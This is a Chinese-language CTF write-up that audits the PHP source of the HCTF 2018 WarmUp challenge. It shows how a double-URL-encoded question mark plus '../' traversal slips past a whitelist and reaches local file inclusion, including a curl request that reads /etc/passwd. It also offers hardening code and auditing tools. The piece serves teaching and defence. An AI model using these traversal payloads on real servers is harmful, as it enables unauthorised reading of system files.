PHP代码审计实战:从WarmUp题目看白名单绕过与多层防御突破
在CTF竞赛和实际渗透测试中,PHP代码审计能力往往是区分初级与中级安全研究员的关键分水岭。今天我们将以BUUCTF平台经典的[HCTF 2018]WarmUp题目为蓝本,进行一次深度代码审计实战。这道看似简单的题目实则包含了白名单验证、字符串处理函数链、URL解码漏洞等多层防御机制,是学习PHP安全审计的绝佳案例。
1. 环境搭建与初步观察
首先我们需要搭建本地测试环境来动态分析代码行为。推荐使用Docker快速构建隔离的PHP环境:
docker run -d -p 8080:80 --name warmup -v "$PWD":/var/www/html php:7.4-apache将题目源码保存为index.php后访问http://localhost:8080,页面会显示两个关键信息:
- 高亮的源代码(由
highlight_file(__FILE__)实现) - 一个滑稽表情图片(当检查不通过时的默认输出)
关键问题定位:通过页面输出和代码逻辑可知,我们需要控制$_REQUEST['file']参数,使其通过emmm::checkFile()验证,最终实现文件包含。
2. 核心防御机制拆解
让我们聚焦emmm类的checkFile方法,这是整个题目的防御核心。该方法采用四层递进式验证:
2.1 基础类型检查层
if (!isset($page) || !is_string($page)) { echo "you can't see it"; return false; }这一层是最基础的防御:
- 确保
$page参数存在且为字符串类型 - 过滤了
null、数组、对象等非字符串输入
2.2 直接白名单匹配层
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (in_array($page, $whitelist)) { return true; }白名单设计特点:
- 仅允许
source.php和hint.php两个文件 - 使用松散比较(
in_array默认不检查类型) - 键值对形式存储但只比较值
2.3 问号截断验证层
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }这一层引入了多重防御:
mb_strpos定位第一个问号位置mb_substr截取问号前的内容- 对截取结果再次进行白名单校验
2.4 URL解码穿透层
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }最终防御层特点:
- 对输入进行URL解码处理
- 重复问号截断验证流程
- 可能产生双重解码漏洞(服务器自动解码+手动解码)
3. 漏洞链构造与突破路径
要成功绕过所有检查,我们需要构造一个满足以下所有条件的payload:
- 原始输入必须是字符串
- 经过URL解码后,问号截断前的部分必须匹配白名单
- 最终包含的文件路径需要指向目标flag文件
关键突破点在于利用URL编码和服务器解码特性:
| 处理阶段 | 解码行为 | 示例输入 |
|---|---|---|
| 客户端提交 | 原始编码 | source.php%253F../../../../fffflllaaaggg |
| 服务器自动解码 | 解码%xx | source.php%3F../../../../fffflllaaaggg |
| 代码中urldecode() | 再次解码 | source.php?../../../../fffflllaaaggg |
具体攻击步骤如下:
- 确定白名单文件:从代码可知
source.php在允许列表中 - 构造多层路径穿越:使用
../../../../实现目录跳转 - 编码关键字符:将问号编码为
%253F(双重编码) - 组合最终payload:
?file=source.php%253F../../../../fffflllaaaggg4. 动态调试与验证
为了验证我们的分析,可以使用PHP内置的Web服务器进行调试:
php -S localhost:8000然后通过cURL测试payload:
curl "http://localhost:8000/?file=source.php%253F../../../../etc/passwd"在调试过程中,可以添加以下调试代码观察中间状态:
var_dump($_REQUEST['file']); var_dump(urldecode($_REQUEST['file'])); var_dump(mb_substr(urldecode($_REQUEST['file']), 0, mb_strpos(urldecode($_REQUEST['file']).'?', '?')));5. 防御方案与最佳实践
从防御者角度,这道题目展示了几个常见的安全误区:
- 不安全的解码顺序:应在验证前完成所有解码操作
- 路径校验不完整:未检查最终包含路径是否在白名单目录内
- 依赖单一过滤机制:应采用纵深防御策略
改进后的安全方案应包含:
// 安全的文件包含检查示例 function safeInclude($file) { $whitelist = ['allowed_dir/']; $realBase = realpath('allowed_dir'); $filepath = realpath($file); if ($filepath === false || strpos($filepath, $realBase) !== 0) { return false; } return is_file($filepath); }6. 扩展思考与变种挑战
掌握了基础绕过方法后,可以尝试以下变种挑战:
- 当白名单使用严格模式(
in_array的第三个参数为true)时如何绕过? - 如果禁用
urldecode函数,还有哪些替代方案? - 如何利用
mb_substr和mb_strpos的字符集处理特性进行绕过?
在实际审计中,类似的防御模式经常出现在:
- 文件上传功能的白名单校验
- 模板引擎的包含限制
- 插件系统的模块加载
7. 工具链与自动化检测
对于大规模代码审计,可以结合以下工具提高效率:
静态分析工具:
# 使用phpcs-security-audit扫描 phpcs --standard=Security --extensions=php /path/to/code动态模糊测试:
# 使用Radamsa生成变异payload echo "source.php" | radamsa --count 100 --output testcase-%n自定义规则检测:
# 使用grep查找危险模式 grep -nE '(include|require)(_once)?\s*\(\s*\$_' *.php
在真实环境中,这类漏洞往往不会如此明显,需要结合上下文和业务逻辑进行深度分析。例如,我曾经遇到过一个案例,开发者使用json_decode处理用户输入后再进行文件包含,看似安全实则可以通过JSON编码构造特殊字符实现绕过。